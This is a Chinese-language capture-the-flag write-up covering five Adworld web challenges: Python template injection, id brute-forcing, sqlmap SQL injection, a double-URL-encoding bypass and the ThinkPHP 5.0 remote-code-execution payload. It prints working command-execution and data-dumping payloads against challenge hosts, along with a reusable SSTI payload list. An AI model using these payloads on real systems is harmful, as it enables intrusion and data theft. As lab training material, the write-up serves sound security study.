攻防世界web进阶(一)

1.PHP_python_template_injection

1.题目提示python模板注入,测试http://220.249.52.133:47149/{{7+7}},发现回显“URL http://220.249.52.133:47149/14 not found”,说明括号里的代码被执行了,存在SSTI。
2.访问http://220.249.52.133:47149/{{[].__class__.__base__.__subclasses__()}}查看所有模块。
3.os模块都是从warnings.catch_warnings模块入手的,在所有模块中查找catch_warnings的位置,为第59个。
4.访问http://220.249.52.133:47149/{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}},查看catch_warnings模块都存在的全局函数,可以找到linecache函数,os模块在其中。
5.访问http://220.249.52.133:47149/{{[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)}},执行ls命令,发现fl4g文件。
6.访问http://220.249.52.133:47149/{{[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22cat fl4g%22).read()'%20)}}查看fl4g,得到flag。

pytho模板注入常用的payload

().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read() #读文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') #写文件
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' ) #执行命令

2.ics-06

1.访问页面,发现除了云平台报表中心其他页面都一样,发现报表中的id只能为数字,如果为字母访问跳转到id=1。
2.使用burp对id进行暴力破解,发现id为2333时,响应包长度不同,获得flag。

3.newcenter

看到输入框,可能存在sql注入,用sqlmap跑。
1.获取注入点
sqlmap -u http://192.168.100.161:53459 --data "search=df"
2.获取数据库信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -dbs
3.获取库内表信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news --tables
4.获取表内字段信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table --columns
5.获取字段内容,得到flag
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table -C "fl4g" --dump

4.PHP2

1.查看源码什么都没有,扫目录发现index.php,什么都没有。
2.访问index.phps,发现源码。

not allowed!

"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "admin") { echo "

Access granted!

"; echo "

Key: xxxxxxx

"; } ?> Can you anthenticate to this website?

3.源码审计
传入一个id并且id进行url解码以后要等与admin,在浏览器中输入admin时,浏览器会进行第一次解码,所以payload要对admin进行两次urlencode,构造payload http://220.249.52.133:46012/index.php?id=
%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65,得到flag。

5.php_rce

1.访问题目链接,发现网站使用框架为ThinkPHP 5.0,结合题目,猜测网站存在ThinkPHP RCE漏洞,使用index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls作为测试payload,查看网站目录。
2.访问http://220.249.52.133:39790/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag*",获得flag的位置:/flag。
3.访问http://220.249.52.133:39790/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag得到flag。

参考链接
https://adworld.xctf.org.cn/task/writeup?type=web&id=5408&number=3&grade=1&page=1
https://blog.csdn.net/iamsongyu/article/details/85861811
https://adworld.xctf.org.cn/task/writeup?type=web&id=4920&number=3&grade=1&page=1
https://adworld.xctf.org.cn/task/writeup?type=web&id=4686&number=3&grade=1&page=1
https://adworld.xctf.org.cn/task/writeup?type=web&id=5412&number=3&grade=1&page=1

2020-8-11 第四周

你可能感兴趣的:(攻防世界web进阶(一))